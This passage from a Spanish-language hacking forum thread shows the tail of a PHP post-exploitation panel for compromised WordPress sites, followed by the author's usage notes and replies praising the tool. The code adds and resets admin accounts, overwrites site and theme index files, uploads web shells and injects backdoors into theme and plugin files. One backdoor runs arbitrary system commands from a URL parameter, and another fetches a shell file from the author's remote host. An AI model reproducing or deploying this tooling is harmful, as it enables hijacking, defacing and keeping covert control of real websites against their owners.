  480. |                       Website: http://xt3mp.mx                         |
  481. |                     Contact: xt3mp[at]null[dot]net                     |
  482. +------------------------------------------------------------------------+
  483. </pre>
  484.                                                                 </div>
  485.                                                         <?php
  486.                                                         break;
  487.                                                         case 1:
  488.                                                         ?>
  489.                                                                 <div id="info">All Admin users appear below:</div>
  490.                                                                 <div id="data"><?php echo getAdmins($_SESSION['dbPref'], 'list'); ?></div>
  491.                                                         <?php
  492.                                                         break;
  493.                                                         case 2:
  494.                                                                 $showForm = true;
  495.                                                                 if(isset($_POST['change_pass'])):
  496.                                                                         $admUser = $_POST['adminId'];
  497.                                                                         $admPass = $_POST['admin_pass'];
  498.                                                                         if(!updateAdmin($_SESSION['dbPref'], $admUser, $admPass)):
  499.                                                                                 echo '<div class="error">Can\'t update admin password: Internal error</div>';
  500.                                                                         else:
  501.                                                                                 $admUser = getAdminById($_SESSION['dbPref'], $admUser);
  502.                                                                                 $showForm = false;
  503.                                                                                 echo '<div class="success">Admin password updated correctly: '.$admUser.'::'.$admPass.'</div>';
  504.                                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  505.                                                                         endif;
  506.                                                                 endif;
  507.                                                         ?>
  508.                                                                 <?php
  509.                                                                 if($showForm):
  510.                                                                 ?>
  511.                                                                         <div id="info">Select Admin User and Insert a New Password:</div>
  512.                                                                         <div id="data">
  513.                                                                                 <div class="clear"><label>User:</label><select name="adminId"><?php echo getAdmins($_SESSION['dbPref']); ?></select>< Select Admin User<br /></div>
  514.                                                                                 <div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
  515.                                                                                 <div class="clear"><label></label><input type="submit" name="change_pass" value="Change Admin Pass" /></div>
  516.                                                                         </div>
  517.                                                                 <?php
  518.                                                                 endif;
  519.                                                                 ?>
  520.                                                         <?php
  521.                                                         break;
  522.                                                         case 3:
  523.                                                                 $showForm = true;
  524.                                                                 if(isset($_POST['add_admin'])):
  525.                                                                         $admUser = $_POST['admin_user'];
  526.                                                                         $admPass = $_POST['admin_pass'];
  527.                                                                         if(!checkUser($_SESSION['dbPref'], $admUser)):
  528.                                                                                 echo '<div class="error">Can\'t add new Admin User: '.$admUser.' is in use</div>';
  529.                                                                         elseif(!addAdminUser($_SESSION['dbPref'], $admUser, $admPass)):
  530.                                                                                 echo '<div class="error">Can\'t insert new Admin User: Internal error</div>';
  531.                                                                         else:
  532.                                                                                 $showForm = false;
  533.                                                                                 echo '<div class="success">New Admin User inserted correctly: '.$admUser.'::'.$admPass.'</div>';
  534.                                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  535.                                                                         endif;
  536.                                                                 endif;
  537.                                                         ?>
  538.                                                                 <?php
  539.                                                                 if($showForm):
  540.                                                                 ?>
  541.                                                                         <div id="info">Insert New Admin User:</div>
  542.                                                                         <div id="data">
  543.                                                                                 <div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
  544.                                                                                 <div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
  545.                                                                                 <div class="clear"><label></label><input type="submit" name="add_admin" value="Add New Admin" /></div>
  546.                                                                         </div>
  547.                                                                 <?php
  548.                                                                 endif;
  549.                                                                 ?>
  550.                                                         <?php
  551.                                                         break;
  552.                                                         case 4:
  553.                                                                 $showForm = true;
  554.                                                                 $indexContent = @file_get_contents('./index.php');
  555.                                                                 if(isset($_POST['change_index'])):
  556.                                                                         $newContent = stripslashes($_POST['new_content']);
  557.                                                                         $newIndex = @fopen('index.php', 'w+');
  558.                                                                         if(!$newIndex):
  559.                                                                                 echo '<div class="error">Can\'t create new index file</div>';
  560.                                                                         else:
  561.                                                                                 $showForm = false;
  562.                                                                                 @fwrite($newIndex, $newContent);
  563.                                                                                 @fclose($newIndex);
  564.                                                                                 echo '<div class="success">Index updated correctly</div>';
  565.                                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  566.                                                                         endif;
  567.                                                                 endif;
  568.                                                                 if($showForm):
  569.                                                                 ?>
  570.                                                                         <div id="info">Insert New Index Content (WP Main Index) [fopen]:</div>
  571.                                                                         <div id="data">
  572.                                                                                 <div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $indexContent; ?></textarea><br /></div>
  573.                                                                                 <div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
  574.                                                                         </div>
  575.                                                                 <?php
  576.                                                                 endif;
  577.                                                         ?>
  578.                                                         <?php
  579.                                                         break;
  580.                                                         case 5:
  581.                                                                 $showForm = true;
  582.                                                                 $next = false;
  583.                                                                 if(isset($_POST['change_index'])):
  584.                                                                         $wpUrl = getInfo($_SESSION['dbPref'], 'siteurl');
  585.                                                                         if(substr($wpUrl, -1) == '/')
  586.                                                                                 $wpUrl = substr($wpUrl, 0, strlen($wpUrl) - 1);
  587.                                                                         $wpUser = $_POST['admin_user'];
  588.                                                                         $wpPass = $_POST['admin_pass'];
  589.                                                                         $wpCont = stripslashes($_POST['new_content']);
  590.                                                                         if(!checkLogin($wpUrl, $wpUser, $wpPass)):
  591.                                                                                 echo '<div class="error">Can\'t login with: '.$wpUser.'::'.$wpPass.'</div>';
  592.                                                                         else:
  593.                                                                                 $source = sourceIndex($wpUrl, getInfo($_SESSION['dbPref'], 'template'));
  594.                                                                                 $data = @preg_match("/<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"(.*)\" \/></", $source, $wpnonce);
  595.                                                                                 $next = true;
  596.                                                                         endif;
  597.                                                                         if($next === false):
  598.                                                                         elseif($next === true && empty($wpnonce[1])):
  599.                                                                                 echo '<div class="error">Can\'t get wp nonce</div>';
  600.                                                                         elseif(!changeIndex($wpUrl, $wpCont, getInfo($_SESSION['dbPref'], 'template'), $wpnonce[1])):
  601.                                                                                 echo '<div class="error">Can\'t update index file</div>';
  602.                                                                         else:
  603.                                                                                 $showForm = false;
  604.                                                                                 echo '<div class="success">Index updated correctly</div>';
  605.                                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  606.                                                                         endif;
  607.                                                                 endif;
  608.                                                                 if($showForm):
  609.                                                         ?>
  610.                                                                         <div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
  611.                                                                         <div id="info">Insert New Index Content (WP Actual Theme Index) [cURL]:</div>
  612.                                                                         <div id="data">
  613.                                                                                 <div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
  614.                                                                                 <div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert Admin Password<br /></div>
  615.                                                                                 <div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"></textarea><br /></div>
  616.                                                                                 <div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
  617.                                                                         </div>
  618.                                                                 <?php
  619.                                                                 endif;
  620.                                                                 ?>
  621.                                                         <?php
  622.                                                         break;
  623.                                                         case 6:
  624.                                                                 $showForm = true;
  625.                                                                 $theme = getInfo($_SESSION['dbPref'], 'template');
  626.                                                                 if(isset($_POST['change_index'])):
  627.                                                                         $wpCont = stripslashes($_POST['new_content']);
  628.                                                                         $themeContent = @fopen('./wp-content/themes/'.$theme.'/index.php', 'w+');
  629.                                                                         if(!$themeContent):
  630.                                                                                 echo '<div class="error">Can\'t open/found index.php file</div>';
  631.                                                                         else:
  632.                                                                                 @fwrite($themeContent, $wpCont);
  633.                                                                                 @fclose($themeContent);
  634.                                                                                 $showForm = false;
  635.                                                                                 echo '<div class="success">Index updated correctly</div>';
  636.                                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  637.                                                                         endif;
  638.                                                                 endif;
  639.                                                                 if($showForm):
  640.                                                                         $themeContent = @file_get_contents('./wp-content/themes/'.$theme.'/index.php');
  641.                                                         ?>
  642.                                                                         <div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
  643.                                                                         <div id="info">Insert New Index Content (WP Actual Theme Index) [fopen]:</div>
  644.                                                                         <div id="data">
  645.                                                                                 <div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
  646.                                                                                 <div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
  647.                                                                         </div>
  648.                                                         <?php
  649.                                                                 endif;
  650.                                                         break;
  651.                                                         case 7:
  652.                                                                 $showForm = true;
  653.                                                                 if(isset($_POST['upload_shell'])):
  654.                                                                         $uploadShell = basename($_FILES['file']['name']);
  655.                                                                         if(!move_uploaded_file($_FILES['file']['tmp_name'], $uploadShell)):
  656.                                                                                 echo '<div class="error">Can\'t Upload Shell</div>';
  657.                                                                         else:
  658.                                                                                 $showForm = false;
  659.                                                                                 echo '<div class="success">Shell Uploaded Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/'.$uploadShell.'" target="_blank">'.$uploadShell.'</a></div>';
  660.                                                                         endif;
  661.                                                                 endif;
  662.                                                                 if($showForm):
  663.                                                         ?>
  664.                                                                 <div id="info">Upload Shell To This Path:</div>
  665.                                                                 <div id="data">
  666.                                                                         <div class="clear"><label>File:</label><input type="file" name="file" style="border: 1px dashed #00CF00;"/>
  667.                                                                         <input type="submit" name="upload_shell" value="Upload Shell" style="margin-left: -15px;"/></div>
  668.                                                                 </div>
  669.                                                         <?php
  670.                                                                 endif;
  671.                                                         break;
  672.                                                         case 8:
  673.                                                                 $showForm = true;
  674.                                                                 if(isset($_POST['make_shell'])):
  675.                                                                         $shellTheme = $_POST['shell_theme'];
  676.                                                                         $shellName = $_POST['shell_name'];
  677.                                                                         $shellCont = stripslashes($_POST['shell_content']);
  678.                                                                         $makeShell = @fopen('./wp-content/themes/'.$shellTheme.'/'.$shellName, 'w+');
  679.                                                                         if(!$makeShell):
  680.                                                                                 echo '<div class="error">Can\'t Make Shell In '.$shellTheme.'</div>';
  681.                                                                         else:
  682.                                                                                 $showForm = false;
  683.                                                                                 @fwrite($makeShell, $shellCont);
  684.                                                                                 @fclose($makeShell);
  685.                                                                                 echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$shellTheme.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
  686.                                                                         endif;
  687.                                                                 endif;
  688.                                                                 if($showForm):
  689.                                                         ?>
  690.                                                                 <div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
  691.                                                                 <div id="info">Make Shell To Themes Path [fopen]:</div>
  692.                                                                 <div id="data">
  693.                                                                         <div class="clear"><label>Theme:</label><select name="shell_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
  694.                                                                         <div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
  695.                                                                         <div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
  696.                                                                         <div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
  697.                                                                 </div>
  698.                                                         <?php
  699.                                                                 endif;
  700.                                                         break;
  701.                                                         case 9:
  702.                                                                 $showForm = true;
  703.                                                                 if(isset($_POST['make_shell'])):
  704.                                                                         $shellPlugin = $_POST['shell_plugin'];
  705.                                                                         $shellName = $_POST['shell_name'];
  706.                                                                         $shellCont = stripslashes($_POST['shell_content']);
  707.                                                                         $makeShell = @fopen('./wp-content/plugins/'.$shellPlugin.'/'.$shellName, 'w+');
  708.                                                                         if(!$makeShell):
  709.                                                                                 echo '<div class="error">Can\'t Make Shell In '.$shellPlugin.'</div>';
  710.                                                                         else:
  711.                                                                                 $showForm = false;
  712.                                                                                 @fwrite($makeShell, $shellCont);
  713.                                                                                 @fclose($makeShell);
  714.                                                                                 echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$shellPlugin.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
  715.                                                                         endif;
  716.                                                                 endif;
  717.                                                                 if($showForm):
  718.                                                         ?>
  719.                                                                 <div id="info" style="margin-bottom: 5px;">Active Plugins (this can be different to Plugins Path):<br /> <?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br /></div>
  720.                                                                 <div id="info">Make Shell To Plugins Path [fopen]:</div>
  721.                                                                 <div id="data">
  722.                                                                         <div class="clear"><label>Plugin:</label><select name="shell_plugin"><?php echo getPlugins(); ?></select>< Select Plugin<br /></div>
  723.                                                                         <div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
  724.                                                                         <div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
  725.                                                                         <div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
  726.                                                                 </div>
  727.                                                         <?php
  728.                                                                 endif;
  729.                                                         break;
  730.                                                         case 10:
  731.                                                                 $showForm = true;
  732.                                                                 if(isset($_POST['make_backdoor'])):
  733.                                                                         $backdoorTheme = $_POST['backdoor_theme'];
  734.                                                                         $backdoorType = $_POST['backdoor_type'];
  735.                                                                         $realTheme = @file_get_contents('./wp-content/themes/'.$backdoorTheme.'/index.php');
  736.                                                                         if(strstr($realTheme, '<?php')):
  737.                                                                                 $exp = '<?php';
  738.                                                                         elseif(strstr($realTheme, '<?')):
  739.                                                                                 $exp = '<?';
  740.                                                                         endif;
  741.                                                                         if($backdoorType == '1'):
  742.                                                                                 $extra = '?active=true&cmd=COMMAND';
  743.                                                                                 $backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
  744.                                                                         else:
  745.                                                                                 $extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
  746.                                                                                 $backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
  747.                                                                         endif;
  748.                                                                         $explode = explode($exp, $realTheme, 2);
  749.                                                                         $newContent = stripslashes($exp.' '.$backdoorCont.' '.$explode[1]);
  750.                                                                         $makeBackdoor = @fopen('./wp-content/themes/'.$backdoorTheme.'/index.php', 'w+');
  751.                                                                         if(!$makeBackdoor):
  752.                                                                                 echo '<div class="error">Can\'t Make Backdoor In /wp-content/themes/'.$backdoorTheme.'/index.php</div>';
  753.                                                                         else:
  754.                                                                                 $showForm = false;
  755.                                                                                 @fwrite($makeBackdoor, $newContent);
  756.                                                                                 @fclose($makeBackdoor);
  757.                                                                                 echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$backdoorTheme.'/index.php'.$extra.'</div>';
  758.                                                                         endif;
  759.                                                                 endif;
  760.                                                                 if($showForm):
  761.                                                         ?>
  762.                                                                 <div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
  763.                                                                 <div id="info">Make Shell To Themes Path [fopen]:</div>
  764.                                                                 <div id="data">
  765.                                                                         <div class="clear"><label>Theme:</label><select name="backdoor_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
  766.                                                                         <div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
  767.                                                                         <div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
  768.                                                                 </div>
  769.                                                         <?php
  770.                                                                 endif;
  771.                                                         break;
  772.                                                         case 11:
  773.                                                                 $showForm = true;
  774.                                                                 if(isset($_POST['make_backdoor'])):
  775.                                                                         $backdoorPlugin = $_POST['backdoor_plugin'];
  776.                                                                         $backdoorType = $_POST['backdoor_type'];
  777.                                                                         $realPlugin = @file_get_contents('./wp-content/plugins/'.$backdoorPlugin);
  778.                                                                         if(strstr($realPlugin, '<?php')):
  779.                                                                                 $exp = '<?php';
  780.                                                                         elseif(strstr($realPlugin, '<?')):
  781.                                                                                 $exp = '<?';
  782.                                                                         endif;
  783.                                                                         if($backdoorType == '1'):
  784.                                                                                 $extra = '?active=true&cmd=COMMAND';
  785.                                                                                 $backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
  786.                                                                         else:
  787.                                                                                 $extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
  788.                                                                                 $backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
  789.                                                                         endif;
  790.                                                                         $explode = explode($exp, $realPlugin, 2);
  791.                                                                         $newContent = $exp.' '.$backdoorCont.' '.$explode[1];
  792.                                                                         $makeBackdoor = @fopen('./wp-content/plugins/'.$backdoorPlugin, 'w+');
  793.                                                                         if(!$makeBackdoor):
  794.                                                                                 echo '<div class="error">Can\'t Make Backdoor In /wp-content/plugins/'.$backdoorPlugin.'</div>';
  795.                                                                         else:
  796.                                                                                 $showForm = false;
  797.                                                                                 @fwrite($makeBackdoor, $newContent);
  798.                                                                                 @fclose($makeBackdoor);
  799.                                                                                 echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$backdoorPlugin.$extra.'</div>';
  800.                                                                         endif;
  801.                                                                 endif;
  802.                                                                 if($showForm):
  803.                                                         ?>
  804.                                                                 <div id="info">Make Shell To Plugins Path [fopen]:</div>
  805.                                                                 <div id="data">
  806.                                                                         <div class="clear"><label>Plugin:</label><select name="backdoor_plugin"><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins'), true); ?></select>< Select Plugin (Active Plugins)<br /></div>
  807.                                                                         <div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
  808.                                                                         <div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
  809.                                                                 </div>
  810.                                                         <?php
  811.                                                                 endif;
  812.                                                         break;
  813.                                                         default;
  814.                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
  815.                                                         ?>
  816.                                                 <?php
  817.                                                 endswitch;
  818.                                                 ?>
  819.                                         </div>
  820.                                 <?php
  821.                                 endif;
  822.                                 ?>
  823.                         </fieldset>
  824.                 <?php
  825.                 endif;
  826.                 ?>
  827.         </form>
  828. </div>
  829. <pre style="text-align: center;margin-top: 5px">xt3mp@null.net >> http://xt3mp.mx</pre>
  830. </body>
  831. </html>

Más información:
http://pastebin.com/S61AxmWV

Login data:
User: Xt3mP
Pass: root

Importante:
Debes poner este script en el mismo directorio que Wordpress.

Bigs:
Si encuentras cualquier error o bug, favor de postearlo en comentarios.

Xt3mP
« Última modificación: Agosto 06, 2012, 09:34:26 am por Pr0ph3t »
Cada vez que me das Karma me motivas

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #1 en: Agosto 03, 2012, 02:41:51 am »
Sensei Xt3mp :D como siempre excelente  8)
http://www.sniferl4bs.com


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado Cronos

  • *
  • Underc0der
  • Mensajes: 1000
  • Actividad:
    0%
  • Reputación 1
  • Mientras mas se, me doy cuenta de lo poco que se.
    • Ver Perfil
    • Email
  • Skype: cronos.labs
« Respuesta #2 en: Agosto 03, 2012, 10:19:46 am »
De lo mejor como siempre Xt3mp!
Saludos,, Cronos.-

Desconectado [C]orrupted[B]yte

  • *
  • Underc0der
  • Mensajes: 172
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • R00TW0RM
    • Email
« Respuesta #3 en: Agosto 03, 2012, 01:46:17 pm »

Mi joven padawan esta creciendo :'D Muy util la tool, esperemos vayas agregando rapido los demas CMS's
La interfaz me parece buena aunque a unos no les gusto lol (Para la otra te esperas unos dias mas para liberarla a la prole we aa te creas XD)

Desconectado exploit-shell

  • *
  • Underc0der
  • Mensajes: 32
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • c-intrud3rs
« Respuesta #4 en: Agosto 04, 2012, 12:51:23 pm »
exelente mexicano lindo  ::)

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #5 en: Agosto 04, 2012, 03:04:59 pm »
Grande Xt3mP!

PD: Te arreglé el tag de Youtube, que no se veía.
« Última modificación: Agosto 06, 2012, 09:35:06 am por Pr0ph3t »
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

Desconectado xBluegrew

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
  • - Return´s -
    • Ver Perfil
    • Underc0de
    • Email
« Respuesta #6 en: Agosto 06, 2012, 01:03:44 am »
Se ve de maravilla, gracias.

Desconectado BlackBox

  • *
  • Underc0der
  • Mensajes: 8
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #7 en: Septiembre 05, 2012, 06:36:45 pm »
Muy Buena Herramienta falta ver que viene con ella... :)

Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 432
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP
« Respuesta #8 en: Septiembre 06, 2012, 04:25:44 am »
Esperen a la versión 1.5 que ya tiene el módulo de joomla, y muchísimas mejoras tanto en código como en utilidades.
Cada vez que me das Karma me motivas

Desconectado xc0d3

  • *
  • Underc0der
  • Mensajes: 37
  • Actividad:
    0%
  • Reputación 0
  • root@xc0d3[#] ~Done
    • Ver Perfil
    • Email
« Respuesta #9 en: Septiembre 06, 2012, 03:05:09 pm »
(Y)
Tengo una pregunta que a veces me tortura "estoy loco yo o los locos son los demás”

Desconectado DLV

  • *
  • Underc0der
  • Mensajes: 111
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #10 en: Septiembre 15, 2012, 04:15:15 pm »
 :)
« Última modificación: Abril 22, 2019, 02:02:57 pm por PlhaOGEOYceXkhd9rlYxJGzedkbolnxpnReqRiTk47d6JgDTRu »

Desconectado zoro248

  • *
  • Underc0der
  • Mensajes: 242
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #11 en: Septiembre 15, 2012, 07:43:40 pm »
Como funciona, bueno como lo puedo usar,
soy nuevo en estos temas. :-[ :-[






Desconectado 5TU4RT

  • *
  • Underc0der
  • Mensajes: 111
  • Actividad:
    0%
  • Reputación 0
  • Si se puede imaginar... se puede programar.!
    • Ver Perfil
    • Underc0de
    • Email
« Respuesta #12 en: Octubre 20, 2012, 02:17:00 pm »
Magnifica Tool Xt3mp..!!!  :D
 
Gracias por compartir...


Salu2
5TU4RT
Si se puede imaginar... se puede programar.!

Desconectado guilreto

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #13 en: Enero 12, 2013, 11:56:55 am »
Alguien me echa una manita y me ayuda a utilizarlo, porque no tengo idea de como funciona, si debo acceder como admin ya a la web para utilizar esto o me sirve sin acceder, no se, xD
Gracias si alguien me echa una mano.
Y gracias a Xt3mp

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #14 en: Enero 12, 2013, 01:20:43 pm »
Emm haber bro viste el video? que trae el post o solo hiciste un copy paste?

Seria bueno que veas el video asi te das una idea, no es por ser odioso ni nada luego de ello con gusto te echamos la mano ;) si la memoria no me falla en esta misma sección hay un tutorial de Okol que explica como subir a un WP

Saludos :P
http://www.sniferl4bs.com


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado guilreto

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #15 en: Enero 15, 2013, 02:21:44 pm »
Ok. gracias Snifer, le echare un ojo al tutorial de Okol, y si me encuentro con alguna dificultad os comento algo... :)

Desconectado PW[N]ED

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
  • PW[N]ED underc0de.-!
    • Ver Perfil
  • Skype: the.joker.crack
« Respuesta #16 en: Junio 03, 2013, 08:06:20 pm »
que pongo en Insert Wordpress DB Preffix

Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 432
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP
« Respuesta #17 en: Junio 03, 2013, 09:14:40 pm »
que pongo en Insert Wordpress DB Preffix

Es el prefijo de tabla, generalmente es wp_ por eso viene por default, en unos días libero la versión 1.5 con nueva estructura y adaptado para todos los casos.
Cada vez que me das Karma me motivas

Desconectado PW[N]ED

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
  • PW[N]ED underc0de.-!
    • Ver Perfil
  • Skype: the.joker.crack
« Respuesta #18 en: Junio 04, 2013, 11:50:37 am »
que pongo en Insert Wordpress DB Preffix

Es el prefijo de tabla, generalmente es wp_ por eso viene por default, en unos días libero la versión 1.5 con nueva estructura y adaptado para todos los casos.


pero de donde saco el prefijo , cada ves que lo intento hacer me dice que no es el prefijo :S , donde saco el prefijo

Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 432
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP
« Respuesta #19 en: Junio 04, 2013, 09:21:26 pm »
Revisando la configuración en la base de datos, o intenta hacer que el script lo saque automáticamente.
Cada vez que me das Karma me motivas

 

¿Te gustó el post? COMPARTILO!